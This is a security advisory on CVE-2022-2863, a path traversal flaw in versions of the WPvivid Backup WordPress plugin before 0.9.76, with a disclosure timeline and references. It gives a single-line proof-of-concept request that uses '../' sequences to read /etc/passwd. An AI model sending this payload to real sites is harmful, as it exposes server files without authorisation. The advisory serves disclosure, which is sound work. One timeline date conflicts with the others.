WordPress WPvivid Backup Path Traversal

`=====[ Tempest Security Intelligence - ADV-15/2022  
]==========================  
  
Wordpress plugin - WPvivid Backup - Version < 0.9.76  
  
Author: Rodolfo Tavares  
  
Tempest Security Intelligence - Recife, Pernambuco - Brazil  
  
=====[ Table of Contents]==================================================  
* Overview  
* Detailed description  
* Timeline of disclosure  
* Thanks & Acknowledgements  
* References  
  
=====[ Vulnerability  
Information]=============================================  
* Class: Improper Limitation of a Pathname to a Restricted Directory  
('Path Traversal')  
('Path Traversal') [CWE-22]  
  
* CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H  
* CVSS Base Score 7.2  
  
=====[ Overview]========================================================  
* System affected : Wordpress plugin - WPvivid Backup  
* Software Version : Version < 0.9.76  
* Impacts : The plugin WPvivid Backup does not sanitise and validate a  
parameter before using it to read the content of a file, allowing high  
privilege users to read any file from the web server via a Traversal attack.  
  
=====[ Detailed  
description]=================================================  
* Steps to reproduce  
  
1 - Authenticated as privilege user, copy the request below, change the  
placeholder {{nonce}} with a valid nonce:  
```  
  
https://example.com/wp-admin/admin-ajax.php?_wpnonce={{nonce}}&action=wpvivid_download_export_backup&file_name=../../../../../../../etc/passwd&file_size=922  
```  
  
=====[ Timeline of  
disclosure]===============================================  
  
11/Aug/2022 - Responsible disclosure was initiated with the vendor.  
15/Aug/2022 - WPvivid Support confirmed the issue.  
16/Aug/2022 - WPvivid Support fix the issue.  
08/Aug/2022 - CVEs was assigned and reserved as CVE-2022-2863.  
  
=====[ Thanks & Acknowledgements]========================================  
* Tempest Security Intelligence [5]  
  
=====[ References ]=====================================================  
  
[1][ [  
https://cwe.mitre.org/data/definitions/22.html]|https://cwe.mitre.org/data/definitions/22.html  
]]  
[2][ [  
https://gist.github.com/rodnt/c6eb8c8237d6ea0583f1f7da139c742a]|https://gist.github.com/rodnt/c6eb8c8237d6ea0583f1f7da139c742a  
[3][ [https://www.tempest.com.br|https://www.tempest.com.br/]]  
[4][ [  
https://wpscan.com/vulnerability/cb6a3304-2166-47a0-a011-4dcacaa133e5]|https://wpscan.com/vulnerability/cb6a3304-2166-47a0-a011-4dcacaa133e5]]  
]  
[5][ [Thanks FXO,ACPM,MFPP]]  
  
=====[ EOF ]===========================================================  
--  
  
`